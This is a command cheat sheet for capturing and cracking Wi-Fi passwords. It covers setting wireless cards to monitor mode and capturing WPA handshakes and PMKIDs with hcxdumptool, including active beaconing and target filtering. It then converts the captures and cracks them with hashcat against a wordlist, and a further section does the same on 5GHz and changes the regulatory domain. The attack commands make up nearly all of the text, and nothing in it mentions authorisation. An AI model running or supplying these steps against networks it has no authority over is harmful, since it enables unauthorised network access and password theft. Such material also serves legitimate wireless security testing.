Preliminary Commands & Information Retrieval

Secure Copy from Remote Device

scp -r root@172.16.42.1:/root/example.pcapng /home/username/Desktop

📖 Downloads files from remote devices using SCP.

Check Wireless Interfaces

iwconfig

📖 Displays wireless network interface details.

Kill Interfering Services

airmon-ng check kill

📖 Stops services that might interfere with wireless tools.

Capture & Conversion Phase

Set Wireless Card to Monitor Mode

sudo ip link set wlan0 down  
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up

📖 Prepares the wireless card for capture.

Capture Handshakes with hcxdumptool

hcxdumptool -i wlan1 -o dumpfile.pcapng --active_beacon --enable_status=15

📖 Captures packets from networks.

Convert Captured File for Hashcat

hcxpcapngtool -o hash.hc22000 -E essidlist dumpfile.pcapng

📖 Converts packets for password cracking.

Additional Scans & Information

Scan for Nearby Networks

hcxdumptool --do_rcascan -i wlan1 

📖 Scans and displays nearby networks.

Cracking Phase

Crack with Hashcat

hashcat -m 22000 hash.hc22000 wordlist.txt

📖 Uses hashcat to attempt password cracks.

5GHz Network Capturing Cheat Sheet

1. Install Necessary Tools

   sudo apt-get install hcxdumptool hcxtools
   

2. Check for 5GHz Support

   iw list
   

3. Enable Monitor Mode

   sudo ip link set wlan0 down
   sudo iw dev wlan0 set type monitor
   sudo ip link set wlan0 up
   

4. Set to 5GHz Channel

   sudo iw dev wlan0 set channel 36
   

5. Identify Target Networks

   sudo hcxdumptool -i wlan0 --scan
   

6. Capture Traffic

   sudo hcxdumptool -i wlan0 --enable_status=1 -o output.pcapng --filterlist=filterlist.txt --filtermode=2
   

7. Analyze Captured Traffic

   hcxpcaptool -z output.hccapx output.pcapng
   

8. Troubleshooting

   sudo iw reg get
   sudo iw reg set US
   

9. Switch Back to 2.4GHz

   sudo ip link set wlan0 down
   sudo iw dev wlan0 set type monitor
   sudo iw dev wlan0 set channel 6
   sudo ip link set wlan0 up
   

10. List 2.4GHz Channels

    iw phy phy0 channels
    iwlist wlan0 channel
